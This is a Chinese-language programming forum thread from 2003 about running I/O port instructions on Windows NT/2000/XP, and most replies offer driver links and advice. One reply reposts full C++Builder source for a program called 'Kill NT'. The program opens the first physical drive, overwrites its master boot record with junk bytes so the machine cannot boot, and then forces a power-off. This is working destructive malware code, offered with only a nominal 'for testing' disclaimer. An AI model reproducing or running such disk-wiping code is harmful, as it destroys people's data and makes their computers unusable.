線上訂房服務-台灣趴趴狗聯合訂房中心
發文 回覆 瀏覽次數:4095
推到 Plurk!
推到 Facebook!

I/O Port By NT/2000/XP

答題得分者是:axsoft
daniel__lee
高階會員


發表:18
回覆:124
積分:113
註冊:2002-11-10

發送簡訊給我
#1 引用回覆 回覆 發表時間:2003-08-07 00:07:02 IP:218.166.xxx.xxx 未訂閱
各位大大早從BCB3.0時代大家要使用I/O指令不外乎在code中加入asm來達成目的(若不使用windrive等....的話),但那也僅限於win95/98的OS而已,最近我也收尋了許多次大家po出來的文章一直也都是如此.當然也可能是我不夠細心沒找到(有的話po一下), 如果沒有;不知道有沒有哪位先進已突破NT系統的限制找出如何在NT系統下RUN I/O Port指令的方法,相信也有許多朋友也有這方面的困擾吧!! 不妨大家集思廣義的來把這個問題側底的解決掉 好嗎? ~ 勿在浮沙上面築高塔 ~
------
~ 勿在浮沙上面築高塔 ~
cmf
尊榮會員


發表:84
回覆:918
積分:1032
註冊:2002-06-26

發送簡訊給我
#2 引用回覆 回覆 發表時間:2003-08-07 09:29:00 IP:61.218.xxx.xxx 未訂閱
【BCB】【推薦】好用的Windows IO Access Library ----------Io http://delphi.ktop.com.tw/topic.php?TOPIC_ID=23311
------
︿︿
turboted
版主


發表:95
回覆:754
積分:452
註冊:2002-07-23

發送簡訊給我
#3 引用回覆 回覆 發表時間:2003-08-07 09:36:32 IP:61.30.xxx.xxx 未訂閱
這個議題在站上已經討論過很多次,可以利用站內資源 http://delphi.ktop.com.tw/topic.php?TOPIC_ID=21664 http://delphi.ktop.com.tw/topic.php?TOPIC_ID=27077 http://delphi.ktop.com.tw/topic.php?TOPIC_ID=26405 http://delphi.ktop.com.tw/topic.php?TOPIC_ID=27086
axsoft
版主


發表:681
回覆:1056
積分:969
註冊:2002-03-13

發送簡訊給我
#4 引用回覆 回覆 發表時間:2003-08-07 09:54:10 IP:61.218.xxx.xxx 未訂閱
daniel__lee您好:    控制I/O在Windows 2k/XP/.NET 下有幾種方式.
 一.透過WDM或vxd的方法
 二.透過切入Ring0/call gate的方法
 三.透過DDK的DeviceIoControl來控制I/O    以下資訊提供給您做參考:    lcsboy版主的大作
1.【BCB】【發表】Win2K/WinXP/Win.Net 環境下讀寫IO的solution 
   http://delphi.ktop.com.tw/topic.php?topic_id=21427
2.【BCB】【分享】在Win2K/WinXP/Win.Net讀出硬碟序號 
   http://delphi.ktop.com.tw/topic.php?topic_id=21428
3.【BCB】【發表】超威力的Win2K/WinXP Rin0必殺技, WinRing  API:ProcessRing0
   http://delphi.ktop.com.tw/topic.php?topic_id=27089
4.【BCB】【分享】讀取主機板上CMOS的時分秒(使用WinRing)  
   http://delphi.ktop.com.tw/topic.php?topic_id=27088 
5.【BCB】【發表】WinRing:任何函式皆可隨意進入Ring0(含Source) 
   http://delphi.ktop.com.tw/topic.php?topic_id=27086
6.【BCB】【分享】parallel port I/O demo,使用lcsboy大大的WDM Driver 
   http://delphi.ktop.com.tw/topic.php?topic_id=26780    DDK DeviceIoControl
1.【BCB】【問題】想多了解有關用程式讀取、控制PCI介面......請各位前輩幫忙 
   http://delphi.ktop.com.tw/topic.php?TOPIC_ID=27077
2.Using DeviceIoControl to Obtain Physical Drive Information(VB的寫法)
  http://www.mvps.org/vbnet/index.html?code/disk/deviodriveinfo.htm
3.【問題】如何自動取得Parallel Port 的I/O Address ??  
   http://delphi.ktop.com.tw/topic.php?TOPIC_ID=27291
4.WIN95/98下存取邏輯磁區
  http://netcity1.web.hinet.net/UserData/vega6385/sector.htm
5.Windows 下如何使用 int 13 ?(參考觀念)
  http://freetech.hypermart.net/ASM/WinINT13.html
6.【問題】DeviceIoControl( )需要include其他檔案或者調整哪裡嗎? 
  http://delphi.ktop.com.tw/topic.php?TOPIC_ID=33423
7.USB設備的除錯與測試技巧
  http://www.eettaiwan.com/ART_8800300959_617734,617737.HTM.d1fd5d60    Ring0/Call Gate
1.Run any Ring 0 code from a Win32 application on Windows NT
  http://www.sonic.net/~undoc/ntcallgate.html
2.PortTalk - A Windows NT/2000 I/O Port Device Driver "tested with Windows XP" 
  http://www.beyondlogic.org/porttalk/porttalk.htm
3.Windows NT/2000/XP下不用驅動的Ring0代碼實現 
  http://www.pcvc.net/category/content.asp?sendid=139    相關網站.
驅動研發網
http://www.driverdevelop.com/index.php
Port I/O Driver 
http://www.driverlinx.com/ftp/unsupported/port95nt.exe
    
HAVE A NICE DAY FOR YOU 發表人 - axsoft 於 2003/08/07 09:59:25
axsoft
版主


發表:681
回覆:1056
積分:969
註冊:2002-03-13

發送簡訊給我
#5 引用回覆 回覆 發表時間:2003-08-07 10:10:19 IP:61.218.xxx.xxx 未訂閱
Kill NT     作者﹕賈佳     來源不詳    在WIN 9X下經常有這樣一些“黑客”程序,此類程序通過一些“技巧”,  運行後會把硬盤一些重要數據區打亂,如MBR,BOOT等,使得機器無法引導。  但這些程序在NT,2000下則毫無效果,我們知道,NT,2000在RING 3下,如果  你試著直接訪問硬盤的話,那麼它會提示一個錯誤信息,並取消這樣的操作。  那麼在NT,2000下能否實現對硬盤隱藏的重要數據區讀寫呢?答案是肯定的,  這需要動態加載設備驅動來實現,和設備驅動程序打交道主要是通過CreateFile、  ReadFile、WriteFile和DeviceIoControl等Win32 API來進行的。(相信你有一定  的基礎,這裡不在闡述)。下面我們來看兩個結構﹕DISK_GEOMETRY 這個結構,  用於裝載與磁盤驅動器有關的信息。IOCTL_DISK_GET_DRIVE_GEOMETRY 這個  結構用於判斷一個設備的屬性。獲知這些重要結構後,我們就可以通過以上  API來完成實際操作。下面給一個俺寫的列子,運行此程序後將直接把硬盤  重要數據區MBR中程序替換,使得硬盤不能引導。請先用工具將硬盤MBR區保存。 
//--------------------------------------------------------------------------- 
// Kill NT 此程序中代碼只為測試,請合法使用,本人對其代碼造成損害蓋不負責 
// 
// 作者﹕ 賈佳 
// 
// EMail: jiasys@21cn.com 
// 
//---------------------------------------------------------------------------     #include  
#include  
#pragma hdrstop     #include "KILL_N.h" 
//--------------------------------------------------------------------------- 
#pragma package(smart_init) 
#pragma resource "*.dfm"     //關機函數 
void ExitNT() 
{ 
HANDLE hProcess, hToken; 
TOKEN_PRIVILEGES NewState; 
DWORD ProcessId,ReturnLength = 0; 
LUID luidPrivilegeLUID;     ProcessId = GetCurrentProcessId(); 
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId); 
OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES, &hToken); 
LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&luidPrivilegeLUID);     NewState.PrivilegeCount=1; 
NewState.Privileges[0].Luid=luidPrivilegeLUID; 
NewState.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;     if(AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL)) 
ExitWindowsEx(EWX_FORCE|EWX_POWEROFF, 0); 
}     TForm1 *Form1; 
//--------------------------------------------------------------------------- 
__fastcall TForm1::TForm1(TComponent* Owner) 
: TForm(Owner) 
{ 
} 
//--------------------------------------------------------------------------- 
void __fastcall TForm1::Button1Click(TObject *Sender) 
{ 
HANDLE hDevice; 
TCHAR hDevicename[64]; 
LPSTR szBuffer,drive; 
//此結構見WIN32 SDK幫助 
DISK_GEOMETRY Geometry; 
unsigned long bytes,bread,count; 
int i,j;     drive="0"; 
wsprintf(hDevicename,"????.??PHYSICALDRIVE%c",*drive);     //加載設備 
hDevice=CreateFile(hDevicename,GENERIC_READ|GENERIC_WRITE, 
FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);     if(hDevice == INVALID_HANDLE_VALUE) 
{ 
ShowMessage("打開設備出錯"); 
ExitProcess(0); 
}     //鎖卷標 
if(!DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL)) 
{ 
ShowMessage("鎖卷標出錯"); 
ExitProcess(0); 
}     //檢測設備有效性 
if(!DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Geometry,sizeof(DISK_GEOMETRY),&count,NULL)) 
{ 
ShowMessage("設備出錯"); 
ExitProcess(0); 
}     //分配內存 
szBuffer=(LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Geometry.BytesPerSector);     //替換引導扇區的內容 
if(szBuffer!=NULL) 
{ 
for(j=0;j<=512;j  ) 
szBuffer[j]='j'; 
bytes = 512; 
}     //寫MBR 
if(!WriteFile(hDevice,szBuffer,bytes,&bread,NULL)) 
{ 
ShowMessage("寫MBR出錯"); 
ExitProcess(0); 
}     //解鎖 
if(!DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL)) 
{ 
ShowMessage("解鎖卷標出錯"); 
ExitProcess(0); 
}     //釋放內存 
HeapFree(GetProcessHeap(),HEAP_NO_SERIALIZE,szBuffer); 
//關閉設備 
CloseHandle(hDevice); 
ExitNT(); 
} 
//---------------------------------------------------------------------------     //判斷是否為NT 
void __fastcall TForm1::FormShow(TObject *Sender) 
{ 
OSVERSIONINFO osi; 
osi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 
if(GetVersionEx(&osi)) 
{ 
if(osi.dwPlatformId!=VER_PLATFORM_WIN32_NT) 
{ 
Button1->Enabled=false; 
Application->MessageBox("你的操作系統不是NT,此程序無法正常運行","請在NT主機上運行",MB_OK|MB_ICONWARNING); 
} 
else 
Button1->Enabled=true; 
} 
} 
//---------------------------------------------------------------------------
HAVE A NICE DAY FOR YOU 發表人 - axsoft 於 2003/08/07 10:17:57
daniel__lee
高階會員


發表:18
回覆:124
積分:113
註冊:2002-11-10

發送簡訊給我
#6 引用回覆 回覆 發表時間:2003-08-07 13:10:26 IP:61.218.xxx.xxx 未訂閱
感謝各位先進的熱烈迴響,PO了那麼多精采的資料,我看了一下其實使用各種方法都有不一樣的限制,我以直想要找出一個能在95/98/me/nt/2000/xp上run i/o port指令的方法,看來還是有一段路要走了 ........ ~ 勿在浮沙上面築高塔 ~
------
~ 勿在浮沙上面築高塔 ~
axsoft
版主


發表:681
回覆:1056
積分:969
註冊:2002-03-13

發送簡訊給我
#7 引用回覆 回覆 發表時間:2003-08-07 14:43:38 IP:61.218.xxx.xxx 未訂閱
引言: 感謝各位先進的熱烈迴響,PO了那麼多精采的資料,我看了一下其實使用各種方法都有不一樣的限制,我以直想要找出一個能在95/98/me/nt/2000/xp上run i/o port指令的方法,看來還是有一段路要走了 ........ ~ 勿在浮沙上面築高塔 ~ < face="Verdana, Arial, Helvetica"> daniel__lee您好: 沒有這麼複雜吧!您只要判別作業平台是哪一種(上面那一篇文章有提到),然後再選擇適當的I/O Control方法就行了! 我給你個建議: 1. win9x/Me平台採用你原來下I/O的方法 2. win2k/xp/.NET下你用lcsboy版主的方法.. 3. 在Form create的時候判定作業平台,然後選定使用的I/O Control就行了! 這樣問題就解決了!別想這麼多!..哈哈 HAVE A NICE DAY FOR YOU
daniel__lee
高階會員


發表:18
回覆:124
積分:113
註冊:2002-11-10

發送簡訊給我
#8 引用回覆 回覆 發表時間:2003-08-08 00:33:22 IP:218.167.xxx.xxx 未訂閱
To Axsoft 謝謝你的建議,在不同的os使用不同的方式工作我都知道,只是那麼好用的指令不甘心就這樣被os給限制住,原本以為大家可能有突破限制的方法,結果還是和我一樣被妥協了...^_^... 我有空還是會繼續收集相關的資料有新的發現在來和大家分享囉!! ~ 勿在浮沙上面築高塔 ~
------
~ 勿在浮沙上面築高塔 ~
axsoft
版主


發表:681
回覆:1056
積分:969
註冊:2002-03-13

發送簡訊給我
#9 引用回覆 回覆 發表時間:2003-08-08 08:51:27 IP:61.218.xxx.xxx 未訂閱
引言: To Axsoft 謝謝你的建議,在不同的os使用不同的方式工作我都知道,只是那麼好用的指令不甘心就這樣被os給限制住,原本以為大家可能有突破限制的方法,結果還是和我一樣被妥協了...^_^... 我有空還是會繼續收集相關的資料有新的發現在來和大家分享囉!! ~ 勿在浮沙上面築高塔 ~
daniel__lee您好:
 
我會建議你用的某種方法原因是,win9x與win2k/xp/.net的核心程式的工作模式有點不太一樣.
NT以上一般的軟體使用權是工作在Ring3,並無法權限直接存取Ring0模式,這也是為甚麼Win2k/xp/.net會比Win9x/Me來的穩定的原因之一    使用WDM與DDK是可以直接存取Win9x/Me/Win2k/XP.NET的...我只覺得,有快速的方法解決就行了,不必偏執要用哪一種方法來做...直要能達成目的,效率也能再認可的範圍就行了!
程式設計的議題太廣泛了,不如多花點時間學點別的東西比較實在...
HAVE A NICE DAY FOR YOU
系統時間:2024-04-24 21:56:44
聯絡我們 | Delphi K.Top討論版
本站聲明
1. 本論壇為無營利行為之開放平台,所有文章都是由網友自行張貼,如牽涉到法律糾紛一切與本站無關。
2. 假如網友發表之內容涉及侵權,而損及您的利益,請立即通知版主刪除。
3. 請勿批評中華民國元首及政府或批評各政黨,是藍是綠本站無權干涉,但這裡不是政治性論壇!